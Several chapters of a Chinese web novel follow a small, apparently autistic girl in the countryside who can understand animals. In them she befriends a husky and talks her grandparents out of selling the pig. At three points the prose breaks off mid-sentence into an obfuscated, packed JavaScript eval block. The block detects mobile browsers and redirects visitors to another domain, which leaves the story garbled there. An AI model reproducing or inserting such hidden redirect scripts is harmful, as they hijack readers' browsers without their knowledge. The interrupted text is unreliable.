耳边充斥着陌生人的说话声，每一句都是在讨论自己，舒念的不自在感愈发强烈。 唐佳菲终于试完衣服，从试衣间走出来，边走边说：“念念，咱回家去了。” 然而一抬头，每次坐在店里沙发上安安静静的小侄女，不见了。 唐佳菲愣了下，扭头问柜台，“你好，看见和我一起进来的小孩儿了没？就是穿着嫩黄色连衣裙，抱着一只毛绒狗的小朋友？” 柜台人员摇头，表示不知道。 唐佳菲又问了店里其他人，终于有人记起来，“好像走出去了。” 唐佳菲跑出店门，四处张望，周末的商场十分热闹，到处都是走动的人群。 可是，没有舒念，根本看不到孩子的身影。 这一瞬，唐佳菲手脚冰凉，后脊背阵阵冒冷汗。 “完了，我把念念弄丢了。” 唐佳菲立即寻找商场管理员，要求广播通知。 而后越想越怕，赶紧打电话，“姐，怎么办啊，我把念念弄丢了。” 唐佳欣听完，直接在电话里大骂，“唐佳菲，你怎么回事儿！你竟然带着念念去逛街买衣服，你脑子是不是进水了！” “姐，我就是脑子进水了，我……” “你赶紧找孩子，联系商场，让管理员看一下监控，孩子有没有走出去。我这就过来，对了，你告诉爸妈没？” 唐佳菲声音哽咽，带着哭腔，“没，我不敢说。” “嗯，先别说，免得他们担心。行了，哭什么哭，出息！” 唐佳欣赶到商场时，唐佳菲已经和管理人员确认，各个出口并没有孩子走出去的画面。 不过是不是往地下车库走出去，这就不是监控能看得到了。 还有，若是被人抱走，乔装带出去，那也是监控看不清楚的。 管理人员：“寻人广播还在继续，你们要是担心，可以选择报警。” 唐佳菲手脚冰凉，哆嗦说：“姐，我们报警吧？” 唐佳欣拿出手机，正准备打电话，管理人员那头忽然说道：“孩子找到了。” 两人急忙赶过去，却见舒念蹲在二楼的厕所旁，在她身边，还蹲着一只哈士奇。 “念念！” 唐佳菲疾步跑过去，一把抱住孩子，自己哭得厉害，“念念，对不起啊，小姑差点把你弄丢了。” 舒念不喜欢，挣扎着退出来。 身旁的哈士奇瞅着两个大人，确定是小孩儿的长辈，这才松了口气。 “好嘞，你家里大人找来了，你可以回家去了。” 舒念扭头看哈士奇，不想走，她喜欢这只大狗狗，毛茸茸的真好摸。 然而两个姑姑催着走，舒念小小年纪并不能做主，只能离开。 “大花。” 舒念走出去两步，扭头，轻声说道。 哈士奇原本摇头晃脑，忽然听到对方的呼喊，一整只惊呆住。 她怎么知道我叫大花？ 我的天呐！她居然听得懂本狗子说话！ 14. 第14章 除了铲屎官，这个世界居然有第二个人能够听懂本狗子说话。 哈士奇高兴坏了，铲屎官出差了，没人和自己碎碎念，虽然张爸愿意带自己天天跑十公里，但还是好无聊啊！ “哎呀别走别走，我叫大花，你叫什么呀？” 哈士奇跟上舒念，一直围着转圈圈。 张建国上个厕所的工夫，拴在门口的狗子就不见了，跑出来一看，自家狗子正围着陌生人转，似乎还准备纠缠小孩子。 张建国吓得不行，立即上前拉住狗绳。 “这么紧的绳子，你也给拽掉，大花，你造反了啊！” 张建国一边骂狗，一边和对方道歉，“不好意思啊，是我没看住狗，你们有没有被吓到？实在对不住。” “张叔，是你啊！” 唐佳欣认出对方，立即笑说：“没事儿，你家哈士奇挺乖的，还陪我家侄女一起玩儿呢！” 自家侄女似乎很喜欢狗，之所以没走丢，唐佳欣将原因归到哈士奇身上。 张建国认不得眼前年轻人，一脸疑惑，“我们，认识？” “张叔，我是佳欣啊，隔壁永唐村的，我妈是张桂花。” 张建国顿时恍然，张桂花也是张家村的，同村同姓，往上推个三五代，大家都是一个老祖宗。 一场误会冰释，唐佳欣带着妹妹和侄女离开，张建国牵扯哈士奇回家。 路上，狗子闹腾不停，张建国想起最近每天陪跑，实在体力不支。 于是一个念头起来，直接回家收拾狗窝狗粮之类，准备把狗子送到乡下去。 哈士奇知道能听得懂自己说话的小孩儿是隔壁村的，激动地不行。 更是积极和自家毛毛哥汇报，“你肯定不知道，我发现了一件神奇的事情。” 博美已经对跳脱的哈士奇免疫，抬起爪子拍了拍对方的大脑袋，“大花，我们现在去爷爷奶奶家，你要乖。” “毛毛哥，是真的，我今天和人说话了。” “你想铲屎官了？” “不是铲屎官，是个小不点儿。” “今天张爸带你跑十公里了吧？你还没清醒吗？” “毛毛哥，你怎么不信呢！” “我信，我很相信。” 哈士奇气呼呼，毛毛哥不信，那是它自己的损失。 等到乡下，我就去找我的小伙伴，让它们带路，去隔壁村耍耍。 另一边，唐佳欣跟着妹妹一起回娘家。 “妈妈！外婆不让我吃点心，我快饿死啦！”赵大宝小朋友看到妈妈来了，立刻嚷嚷。 “你这孩子，啥啥都知道告状。” 张桂花笑骂一句，扭头看大女儿，疑惑问：“这个点儿怎么过来了？有事啊？” “妈，让佳菲和你说吧。”唐佳欣回头，看了眼妹妹。 唐佳菲是老唐家的小女儿，出生后家里的条件情况已经改善，没有像姐姐那样吃过苦。 今年不过二十五岁，大学毕业没两年，性子活泼又天真。 自然，也没经历过多少挫折。 今天的事情，对她来说，算得上是一次惊心动魄。 唐佳菲犯怂，站在姐姐身后，扯衣袖，“姐，我不敢。” “那行，等爸回来了，你再说。” 唐佳菲想到自家亲爹那个暴脾气，亲儿子都能连骂畜生，自己还不得挨一顿揍？ 于是立即坦白，将自己在商场里犯的蠢事儿一一做交代。 张桂花听到孙女差点走丢，一阵阵后怕，赶紧把孩子拉到身边，看了又看。 “我的宝啊，你可吓死奶奶了。” 话说完，猛一抬头，两三步走过去，一巴掌拍在小女儿身上。 “你作死啊你！走之前我怎么和你说的，你是一点不放在心上，今儿要是你侄女真的丢了，你拿什么赔给你哥嫂？” “妈，这和弟弟他们没关系。” 唐佳欣摇头，纠正说：“这次事情，主要问题都在佳菲身上，我早就说过，你们这个老来女别太宠，做事儿心里没个谱儿，她要是不改，以后工作上指定犯大错。” 唐佳欣作为长姐，家里的弟弟妹妹也亲手带过几年，总是免不了操点老妈子的心。 张桂花之前都是含含糊糊，总觉小女儿还小，再过几年就经事了。 然而这一次，终于意识到孩子不能宠，否则迟早社会教做人。 晚上，唐庆国知晓事件，对小女儿一顿猛批，要不是家里人拦着，扫帚指定甩上去。 “唐佳菲，你给老子回屋反省去，明天给我做检讨。” “爸，我这就回去深刻反省。” 张桂花看了眼餐桌，碗筷都没动，“吃了再写吧？” “吃什么吃，你闺女脑子都没了，吃再多也没用。”唐庆国又是一声吼。 唐佳菲吓得不行，立刻起身上楼。 唐庆国憋了一肚子气，同样没有吃饭。 张桂花糟心，没心思吃。 餐桌上，除了啥也没听懂的赵大宝哼哧哼哧进食，也就当事人舒念慢悠悠吃饭。 晚上，小黄狗窝在舒念的怀里，时不时舔一下对方的手臂，脑袋蹭一蹭。 “念念，你差点丢了，小姑坏。” 舒念没觉得小姑坏，因为是她自己主动走开的。小姑说过，不能随便乱走，所以是自己不听话。 但是为什么，爷爷奶奶却一直骂小姑？ 难道不是要骂自己吗？ 小黄狗没得到回应，摇摇尾巴，又说：“念念不怕，以后出门带着我，我来保护你。” 它是狼狗的后代，等长大了就会威风凛凛，等长大了就可以保护小主人。 所以要努力吃，吃得越多，就能长得越快。 舒念想不通，索性不再想，抱着毛茸茸睡觉。 天蒙蒙亮时，舒念感受到动静，正准备睁眼，就听小黄狗叫了声。 “是小姑，她进来了。” 舒念下意识躺好，没有睁眼。 唐佳菲轻手轻脚走到床边，摸摸小黄狗的脑袋，“嘘”了声，“别叫，我就看一眼。” 然后，安静地看着小侄女的睡颜。 好一会儿，舒念感觉到手里被塞了东西，在她还没反应过来前，一个冰凉的吻落在自己额头上。 舒念顿时身体紧绷，不自在极了。 “念念，真的对不起。” 唐佳菲起身离开，舒念慢慢睁眼，盯着头顶的天花板看。 然后，抬手摸了下自己的额头。 “念念，一只毛线狗耶！”小黄狗忽然说道。 舒念抬手，原来小姑塞给自己的是一只用毛线织起来的狗狗，是一只哈士奇的模样。 起床时间到，舒念照往常一样起来，然后下楼洗漱。 餐桌上，唐庆国戴着老花眼镜，一字一句看检讨。 张桂花在旁边叹气，“你这暴脾气，佳菲天不亮就走了，生怕见到你似的。” “她那是心虚，和我有什么关系。” 唐庆国认识的字不多，但看小女儿认认真真写了三大张，还算满意。 回头，见孙女进来了，立刻笑着招手，“念念起来了啊，快来，吃早饭了。” 张桂花注意到孙女手中的毛线狗，惊讶问：“念念，你哪来的新玩具？” 难道是带来的另一只？ 舒念把毛绒狗和毛线狗都抱着，想了想，说了“小姑”两个字。 张桂花看了眼针线，确实有些蹩脚，符合小女儿的手法。 又写检讨又织毛线，看来昨天一晚上没睡啊！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090711|163646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “念念，你小姑做事不靠谱，但她心不坏，你——” “孩子心里有自己的想法，你别强求。” 唐庆国知道老伴儿要说什么，立刻制止。 张桂花张了张嘴，最终没再提。 唐佳菲的小风波就像一阵风，吹一吹就散了，对舒念的乡下生活丝毫没有影响。 甚至对她来说，小姑还挺好的，不仅帮助自己做了羽毛琥珀石，还送了一只毛线哈士奇。 大公鸡也很满意自己漂亮羽毛的最终归属，看小主人时不时戴着，不由骄傲得意，觉得自己是最受宠的。 所以在这个家里，老黄牛、小白猪、母鸡和小黄狗，全都比不上我。 因为自己有漂亮的大羽毛，哈哈！ 赵大宝对琥珀石和毛线狗不感兴趣，但是妹妹不愿意跟自己出去玩这件事，让他很苦恼。 没有妹妹，自己就不能所向披靡了。 赵大宝忍痛拿零食诱惑，见对方无动于衷，直接开始撒娇，“念念，去吧去吧，二狗他们都想你了。” 舒念想到二狗他们，小朋友真的很想自己吗？ 那如果不去的话，好像不太好。 轻易相信哥哥的随口“谎话”，舒念终于再一次跟着出去玩。 这一次，五个小朋友没有在秘密基地，而是去往附近的田埂，在开阔的田野上耍。 舒念重在参与，玩耍并不积极，有时候还会偷懒，悄咪咪蹲在某个阴凉的地方，摆弄自己的毛线狗。 小朋友们对此习以为常，在他们看来，聪明人就是这样的。而舒念，就是聪明的小朋友。 舒念躲懒许久，有点无聊，想要回家去。 然而还没站起来，手上的毛线狗就被抽走了。 抬头看，一只胖硕的哈士奇，正叼着它。 哈士奇身边跟着几只中华田园犬，三五只成年狗将人团团围住，小小的舒念瞬间被淹没。 “大花，这就是你说的小崽子了？” “大花，她真的听得懂吗？” “大花，你不要骗我们。” 哈士奇松口，瞅着眼前小孩儿，咧开嘴笑得灿烂，“人类幼崽，你还记得狗子咩？” 舒念看了眼田埂旁的毛线狗，狗脑袋上沾满了哈士奇的口水，黏糊糊的。 她有些不想要了。 但是不行，这是小姑送给自己的，别人送的礼物不能丢。 于是忍着别扭，重新捡起来，整个过程没有理会任何狗子。 旁边几只中华田园犬不高兴，觉得城里来的狗子欺骗它们，扭头就开始发威。 哈士奇东躲西藏，一边奔跑一边嚎，“狗子没有咩，我说的都是真的。大家都是兄弟，我是来邀请你们加入狗子十八寨的……” 玩耍时间结束，舒念跟着哥哥回家。 张桂花知晓毛线狗脏了，自然接过去，帮忙清洗。 舒念站在水槽旁看了会儿，转身走向后院。 小黄狗忽然兴冲冲跑过来，绕着小主人脚边转圈圈，“念念，念念！我看到了一只特别特别大的狗子，长得跟猪一样！” 小猪听到，直接哼笑，“胡说八道，哪有狗子比我长得还大，那肯定不是狗，就是猪。” 小黄狗不服气，与之争论。 老黄牛却是笑眯眯，给舒念指明方向，“念念，那应该是狗，就蹲在后院的篱笆边呢。” 舒念心里好奇，一步一步走过去。 然后就发现，是之前见过的那只哈士奇。 哈士奇为躲避一群中华田园犬，跑得精疲力尽，不知不觉拐到小道上。 原本，它打算休息一下，再打个游击战，就回家去。 奈何肚子咕噜噜叫，这户人家也不知道在烧什么好吃的，馋得它走不动道了。 15. 第15章 看到熟悉的人类幼崽，哈士奇立即咧开嘴笑，而后十分自来熟的推开篱笆门，扭着胖硕的身体走进去。 “哎呀，又看到了你了，小不点儿，狗子饿死了，有没有好吃的？” 怕对方不高兴，哈士奇立即坐下，举起一只爪子发誓，“我是一只有家的狗子，我住在张家村，我只是化个缘，明天我给你送小零食啊！” 舒念摇头，她不喜欢吃小零食。 哈士奇却以为，对方不乐意这样的交易。 作为一只兽医的狗子，作为一只文明的狗子，哈士奇做不出偷吃的行为。 当然，如果这户人家里一个人也没有，那进去稍稍化缘一下，也不叫偷吃嘛！ 而现在？ 哈士奇趴在地上，饿得打滚，一边滚一边嗷嗷叫，“狗死了，狗马上要死了，每一只狗死，没有一个人类是无辜的。” “猪狗，你饿了吗？我知道哪里有好吃的，你跟我来。” 小黄狗对同类十分友好，见哈士奇没有伤害自家小主人的想法，便决定招待一下。 哈士奇眼睛登时发亮，摇着毛茸大尾巴，紧跟小黄狗。 然后，就被带到了猪圈旁。 小猪看到比自己还要高还要胖的狗，简直惊呆住，“我的天呐！你真的不是长了长毛的黑白猪吗？” 小猪使劲往上扒拉，趴在猪栏上，甩甩自己的短卷尾巴，“你是哪里来的狗，你是猪狗杂交的产物吗？” 哈士奇顿时气恼，“本狗子可是纯正的哈士奇血统，哈士奇懂么，那可是来自西伯利亚的高贵品种。” “西伯利亚，是青藏高原吗？”小猪听不懂，但不妨碍自我理解。 青藏高原这个词，还是唐庆国时常念叨，它听多了记住的。 哈士奇低吼两声，纠正错误，“不是，青藏高原是华国的，西伯利亚是国外的。” “哦，原来你是外来种，原来歪果狗长得和猪一样。” 小猪顿时感慨，“我如果在歪果，我一定也可以到处溜达，那日子多惬意。” 一猪一犬说了会儿话，小猪十分大方的邀请哈士奇进食。 “奶奶给我加餐，猪槽都是满的，来，跳进来，和我一起享用吧！” 哈士奇饿得不行，实在遭不住，即便是猪食，瞧着乱糟糟的，但依旧诱惑它。 舒念一直在旁边小心翼翼的观察哈士奇，看对方跳进猪圈的一瞬，表情顿时错愕。 狗狗为什么会进猪圈？ 狗狗为什么要吃猪食？ 这究竟是狗，还是猪？ 赵大宝喊妹妹吃饭，结果看到猪圈里有两只猪，立刻惊喜大叫，“外婆，外婆！小猪变身了，它变成了两只猪！” 张桂花笑骂，“你少看动画片，什么一只两只的，胡说八道。” “真的！外婆，我说的都是真的，真的有两只小猪。”赵大宝不断重复，语气坚定。 张桂花是不信什么变身的，但看外孙这么激动，心想是不是邻居家的小猪跑过来了？ 结果到猪圈里一瞧，好家伙，里头竟然有只狗。 张桂花拿起扫帚，准备驱赶，“哪里来的畜生，跑这里偷吃，出去出去！” 哈士奇嚼着猪槽里的煮红薯，胖硕的身体左躲右闪，还不忘解释。 “我是有家的狗，不偷吃，化缘而已啦。” “狗子吃饱了才能回家，明天给你们家送小零食啊！” 奈何张桂花武力值强大，哈士奇最终只是吃了个半饱，就急急忙忙跳出猪圈，逃跑了。 舒念想要为其解释的话，在心里已经酝酿好几遍，看哈士奇跑走，索性又咽回去。 算了，狗狗走了，那也不用和奶奶说了。 然而第二天，舒念又看到了哈士奇。 对方叼着一个塑料袋，袋子鼓鼓囊囊的，好像装了很多东西。 哈士奇把袋子放下，冲着小黄狗打招呼，“黄仔，快来，我给你带小零食来啦！” 小黄狗见着狗友，十分高兴，跑过去一看，却是皱眉。 “这是给念念的小零食吗？” 一包一包的，还有罐头，不是狗狗吃的。 哈士奇反应过来对方口中的念念是谁，冲着不远处的小孩儿咧嘴笑，“人类幼崽，原来你叫念念啊！” 一回头，又和小黄狗说话，“不是给念念的，是给你的。” “但都是人类吃的零食啊！” “哦，我差点忘了，你是小土狗咩，没见过狗粮和狗罐头。” 哈士奇将塑料袋里的东西全部拿出，依次排开做介绍。 而后仰着头十分得意，“这是我救人类幼崽得到的报酬，我有一卡车的狗粮可以炫，我家铲屎官的朋友也喜欢吃的嘞，那个狗罐头超级好吃！” 小黄狗从出生到现在，别说狗粮狗罐头，就是牛奶，都喝的很少。 家里有什么剩菜剩饭，它就吃什么。 也就小主人的到来，时不时给它加餐，这才有幸吃到了一些不一样的美味。 而其中最好的，大概就是舒念喝剩下的牛奶，吃不完的肉包，以及一些糕点类。 哈士奇熟练咬开狗罐头，又一爪子刨开狗粮，小黄狗尝了几口，顿时惊为天狗。 “原来你们城里狗吃的东西这么好啊！” “你们城里狗好享福哦！” 小黄狗摇摇尾巴，觉得挺高兴，自己也算尝过城里狗粮的味道了。 但它一点不羡慕嫉妒，它就是土生土长的乡下狗子，就该吃家里剩菜剩饭，努力看家护院的。 舒念见过狗粮狗罐头，小区里的小姐姐们都是这样喂食的，那些猫咪也吃猫粮这些。 她到乡下，看自家小黄狗总是吃他们剩下的饭菜，只以为是城里和乡下的喂养方式不一样。 但现在，听哈士奇一顿猛炫，她才意识到，原来是乡下的狗狗吃不起。 没有人会专门给乡下的狗狗买狗粮狗罐头。 “小黄。” 舒念走过去，抱起自家小黄狗，摸摸对方脑袋，想了想，低头拿脸蛋蹭了蹭。 人类幼崽奶乎乎，香喷喷，小黄狗十分喜欢和小主人贴贴。 这还是小主人第一次主动蹭它，简直幸福得快要飞到天上去了。 吃狗粮算什么幸福，它现在狗生已经到达了巅峰！ “念念，好舒服，再抱一抱。” “念念真棒，好香啊，我好像闻到你身上的奶味儿了。” “念念，晚上也抱着一起睡嘛。” 哈士奇看着眼前一人一犬，从不屑到疑惑，从疑惑到羡慕。 它想起自家铲屎官的拥抱，对方抱着自己总是嚷嚷“太重”，有时候自己跳到床上，准备和铲屎官来一个爱的抱抱，他也是大惊小怪的。 得不到的永远在骚动。 哈士奇自从跟了新的铲屎官，渡过忧伤期之后，整个狗生都是幸福的。 唯一的不开心，就是不能随地抱铲屎官。 “黄仔，我也想要抱抱。” 哈士奇一步一挪，杵在舒念身旁，眼睛闪闪发亮。 小黄狗立即呲牙咧嘴，十分不高兴，“不行，念念是我的，是我一只狗的！” 什么都可以和狗友分享，唯独小主人，不能。 舒念却是盯着狗粮看，半晌伸出手，试探性的摸了下哈士奇。 软乎乎的小嫩手，摸起来就像是做按摩。 哈士奇顿时感受到一种难以言喻的快乐，尾巴摇得起劲。 然而冷不丁的，就听人类幼崽说道：“摸摸，抱抱，换。” 啊嘞？ 哈士奇睁眼，一脸懵逼。 舒念指着狗粮，又说：“换，一直摸。” 自家狗狗自己宠，舒念没有钱，而这只大狗狗家里有很多很多的狗粮，这是她想到的交换方式。 哈士奇听懂后，点头答应，“那说好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老黄牛嚼着干草，时不时甩甩尾巴赶苍蝇，见小主人走进来，很自然的往后退了几步。 “念念，怎么到棚子里来了？夏天臭烘烘，不好待哦。” 舒念抬头，黑黝黝的眼睛盯着对方看，有些悲伤。 老黄牛似有察觉，往前走了一步，低头，轻轻碰了下对方的手臂。 “长大，卖掉吗？” 舒念看向老黄牛，这头最大的毛茸茸，自己最喜欢坐在上面了。 爷爷如果去放牛，她跟着一起去，来来回回，老黄牛都会驮着自己。 它走路那么稳，长得那么壮，这么厉害的毛茸茸，为什么要卖掉？ 老黄牛听懂了，甩着尾巴笑眯眯，“农村养的不是宠物，都是家畜。” “家畜？” “对喽，我们都是家畜。” “是，什么？” “家畜啊，就是农村人养着的鸡鸭猪牛猫狗这些，都是有用处的。就好像母鸡要下蛋，公鸡要打鸣，狗要看家护院，猫要捉老鼠……而我们牛，就要耕田犁地。” 老黄牛看了眼猪圈，又说：“农村人养猪啊，除了老母猪是留着生猪崽子，公猪都是为了养大了卖钱。” 舒念终于知道，家里的毛茸茸，每一只的归属都是不一样的。 小黄狗会长大，变成一只很厉害的看家狗，它会一直留在家里。 大公鸡要打鸣，等它老了，可能会被吃掉。 母鸡要下蛋，如果有一天不能下蛋了，也会被吃掉。 老黄牛很重要，要耕田，它会一直留在家里。 还有小猪，长得又白又胖很壮很壮时，就要被卖掉了。 舒念知道卖掉的意思，它们最后会变成菜场里的猪肉。 小小的人类幼崽，第一次直面生死话题。 这对舒念来说，是很难接受和适应的。 心里不舒服，继而导致身体不舒服，最终表现出来就是：食欲下降，无精打采，整个人好似蔫了一样。 16. 第16章 舒念的反常现象引起唐庆国夫妻俩的注意，两人都很担心，孙女是不是又发病了？ 但这个情况吧，又和上一次发病不一样，毕竟孩子安安静静的，没有太过激烈的行为表现。 “就怕是那种不声不响的发病，真等最后猛地来那么一下，可就晚了。” 张桂花想起往事，心里直犯哆嗦，“老唐，你还记得不，就前两年，邻村那个娃娃，能吃能喝，每次考试成绩都是第一，他爸妈多高兴啊，见人就说，你看最后……” 唐庆国也想起那件事，心里唏嘘不已。 医生说过，自闭症会引发其他病症，要是孙女也不声不响得了那个，那个叫什么抑郁症的，岂不雪上加霜？ “我心里不踏实，明儿带孩子去医院瞧瞧？” “我看行。” 舒念第二次去医院看病，这一次，医生问清楚情况后，特意让长辈离开，自己单独陪同，以聊天的轻松方式进行询问诊治。 舒念这些天一直都在想毛茸茸的事情，期间也和老黄牛它们说起过，但它们的认知很简单，并不能给予她太多反馈。 眼前的医生，眼神很温柔，让她想起老黄牛看自己的神态。 渐渐地，舒念开始放松，时不时会说出一些想法。 而这些想法表达，是按照她的情绪来的，在常人看来很颠三倒四，又或不成系统。 医生一点点拼凑，终于了解情况，想了想说：“念念，不止是孩子，即便是我们成年人，很多时候也是恐惧死亡的。” “因为恐惧，会刻意的避免甚至不愿提起。但不提起就真的不存在了吗？” “你思考这样的问题很好，但是不应该陷得太深，与其思考死亡的痛苦，不如去认真感受死亡之前，活着的每一天，有句话是这么说的，活在当下，珍惜所有……” 医生对所有病患并不特殊对待，她愿意站在他们的立场去理解他们的世界，并试图感知体会。 这种诊治方式，让病人放松，不再觉得自己是另类。 而舒念，同样有这种感觉。 眼前的医生阿姨，和毛茸茸一样，他们之间是可以正常说话的。 最后，医生什么药也没开，只是叮嘱两个长辈，多关心孩子，可以尝试着走进孩子的心里，去听一听孩子内心的想法。 “认识他们，理解他们，帮助他们，这是我们能够做的。” 而不是，厌恶他们，否定他们，远离他们。 遵医嘱这一点，唐庆国和张桂花一直认真执行。 于是乎，陪孩子“谈心”这件事，落到了唐庆国身上。 唐庆国跟孩子一起待着，有时候陪玩儿，有时候就只是陪发呆，他观察孙女一整天的活动轨迹，看她每天都在做什么。 和以前不一样，这几日，唐庆国事无巨细都在观察。 最终，好像发现了问题所在。 “念念。” 唐庆国把孙女喊到身边，和蔼问道：“你喜欢家里这些动物啊？” 舒念的视线绕着牛棚——猪圈——鸡窝，如此转了一圈。 唐庆国心里明白了，又问：“比起哥哥，你更喜欢它们？” 舒念想起赵大宝，这个哥哥实在太会叨叨了，什么都说，一说就停不下来，毛茸茸们从来不会这样子。 于是很诚实的摸了下身边的小黄狗。 唐庆国看得清楚，最后再问：“那家里这么多动物，每天陪你一起玩，你还不高兴吗？” 可是，毛茸茸不能永远陪我。 舒念看向猪圈，又看一旁晒太阳的大公鸡，表情沮丧。 被看的正主听一老一少碎碎念，急脾气顿时上来，“爷爷，你问得都不对头嘞，你都不知道念念在想什么。” 话说完，冲着舒念“哼哧哼哧”，“念念，你要告诉爷爷你的伤心事，猪猪我啊，想要活得久一点呢，你给争取争取？” 小猪知道自己长大后的命运，但吃货眼里并没有太多恐惧，猪固有一死，早死晚死，都得死。 但如果能够晚一点死，那就可以多吃一些好吃的了。 一旁大公鸡也跟着点头，“念念，我也想多打鸣几天，你问问爷爷，如果我一直都会打鸣，是不是可以活得很久呢？” 舒念听着毛茸茸的诉求，忽然意识到自己好像身负重任。 她可以听到毛茸茸的声音，如果可以将它们的话告诉爷爷奶奶，是不是就是在帮助它们？ 毛茸茸需要我，我可以为它们做点什么。 舒念眼睛登时发亮，不自觉揪住毛绒狗，而后抬头看向对面。 唐庆国注意到孙女的动作，却并不着急，眼神依旧和蔼，甚至鼓励对方开口。 等待了似乎一个世纪那么漫长的时间，孩子忽然喊了声，“爷爷。” 唐庆国心头震颤，鼻子莫名发酸，眼眶都有些湿润了。 孙女到家里一个多月了，根本不愿意叫人，别说他们两个老的，就是来的那天，连爸爸妈妈都几乎没听到孙女喊过。 可是现在，自己听到了什么？ 孩子居然开口喊“爷爷”了！ 唐庆国努力压制自己激动地情绪，生怕吓着孙女，“念念，你说。” “小猪，不卖。” 好喜欢小白猪啊，一点也不想毛茸茸离开自己。 唐庆国看了眼猪圈，表情惊讶，孩子那么小，怎么提起这茬了？ “念念，猪长大了就要出栏，卖了才能换钱，到时候给你买许多好吃的好玩的。” 舒念想了想，摇头，“不吃，不玩。” 见对方没反应，舒念心里开始焦急，不自觉往前走了一步，一把拽住爷爷的衣袖。 唐庆国又听到一声，“喜欢，不卖。” 关于小猪的归属事情，爷孙俩最终也没得出结论。 舒念觉得自己失败了，没有帮助到毛茸茸，心情一直很低落。 之后的几天，吃嘛嘛不香，干啥啥不行，俨然像是第一天到这个家的表现。 张桂花看在眼里，急在心里，“老唐，你和孙女谈心没？她怎么还越发严重了？” 唐庆国默了下，将那天下午发生的对话告诉老伴儿，还不等说完，张桂花直接开骂。 “哎哟我说你这个死脑筋，不就是不卖猪嘛，你直接答应她就行了。” 唐庆国表情严肃，“孩子小归小，可不能骗人，你要是最后反悔，晓得给她造成什么影响？万一病更严重了怎么办？” “谁说要反悔了，不就是一头猪，要是真能治好孙女的病，咱给它养老送终都行。” 张桂花一开始抓猪崽子养，并不是为了养大卖钱，主要是舍不得家里的粮食浪费，毕竟每年种的红薯玉米棒子，实在太多。 “念念好像很喜欢家里的这些畜生。”唐庆国又说了一句。 张桂花听到这话，笑眯了眼，“那感情好啊，喜欢就随她高兴，你再问问，她还想要干啥？” 唐庆国再一次和孙女“谈心”，然而舒念并不肯表达。 “念念，我和你奶奶商量好了，这头猪崽子啊，咱家不卖了。” 这话犹如平地一声响雷，舒念整个人都惊呆住。 唐庆国第一次看到孩子脸上如此丰富的表情，他知道，这事儿做对了。 “念念，咱不卖猪了，你想养多久，咱就养多久。你要是喜欢，爷爷奶奶给它养到老。” “大公鸡，不吃。” 舒念回过神，看向身旁鸡窝，“母鸡，不吃。” 唐庆国心里笑开花，猪都舍得了，两只鸡而已。 于是点头，“嗯，不吃，咱念念喜欢啊，就一直养着它们。” 两个老人对一年见不了几次的孙女格外宠，因为舒念的情况特殊，不仅宠，还心疼。 若是换做赵大宝这个皮实的外孙，指不定得一巴掌拍在屁股上。 舒念得到爷爷奶奶的保证，心情瞬间开朗，在鸡窝和猪圈两边来回走，把好消息告诉它们。 相比大公鸡和母鸡的淡定，小猪却是嚎啕大哭，一边哭一边大口大口吃猪食。 “念念，你简直是我的天使，你救了我一命，我可以和老黄一样，在这个家活到头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090713|163646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啦！” 想起前两天，自己忐忑不安，吃得也不多，小猪就觉亏了。 反正也不会被卖了，那就使劲吃使劲吃，把自己养的白白胖胖的，到时候和老黄一样，驮着念念在村子里溜达。 小猪崽子这一刻，为自己的猪生立下宏图伟志，势要成为小主人的第二坐骑。 它，小白猪，会成为永唐村最胖的那一只！ …… 七月半，农村家家户户都要祭拜祖先，在外不远的儿女也都要回家，吃月半。 这和清明扫墓，有异曲同工之处。 老唐家的七月半放在周末，为得是能让家里的两个女儿都赶得回来。 至于省城里的儿子儿媳，鉴于年年喊年年不回家，已经自动忽略了。 这一天周日，唐佳欣和赵秦去乡下吃晚饭。 至于小女儿唐佳菲，人在外地出差，赶不上。 饭后拉家常，唐佳欣知道父母做的决定，惊讶极了，“妈，你们怎么答应这种不合理的要求？” “怎么不合理了？” “哪有人把猪养到老的，那不是白白吃家里粮食嘛！” “不止猪，家里的两只鸡，过年也不杀了。” “什么？” “念念喜欢，一直养着呗。” 唐佳欣完全懵逼，这是什么骚操作？ “你们是准备先哄着孩子，等明年孩子走了，再——” “胡扯，我和你爸从来不说假话。” “可是妈……” 唐佳欣还想再说，边上赵秦扯了把妻子，抬头笑说：“挺好，爸妈为了念念，实在有心了。” 回去的路上，唐佳欣依旧想不明白。 赵秦一边开车一边说话，“你有什么想不明白的？不就是一头猪两只鸡嘛，过年直接去菜市场买就是了，又不是吃不起。” “不是钱不钱的问题。” 唐佳欣摇头，满面愁容，“我就觉得爸妈做事有些不靠谱，他们这想一出是一出的，别回头没治好孩子，自己反倒是闹出病来。” “我看好得很，爸妈精神头足着呢。” “算了，就当是我多想了。” 唐佳欣的担心，唐庆国和张桂花完全不在乎，两个人每天带着两个孩子，小日子过得那叫一个惬意。 舒念在七月半这一天，又见到了哈士奇，这只毛茸大狗告诉她一件事。 “念念，鬼节那天，张家村要举行重大仪式，你和黄仔来参加啊！” “是我即将成立的狗子第一寨，我是寨主，你们来给我加油助威。” “来吧来吧，我有好多狗粮和罐头。” 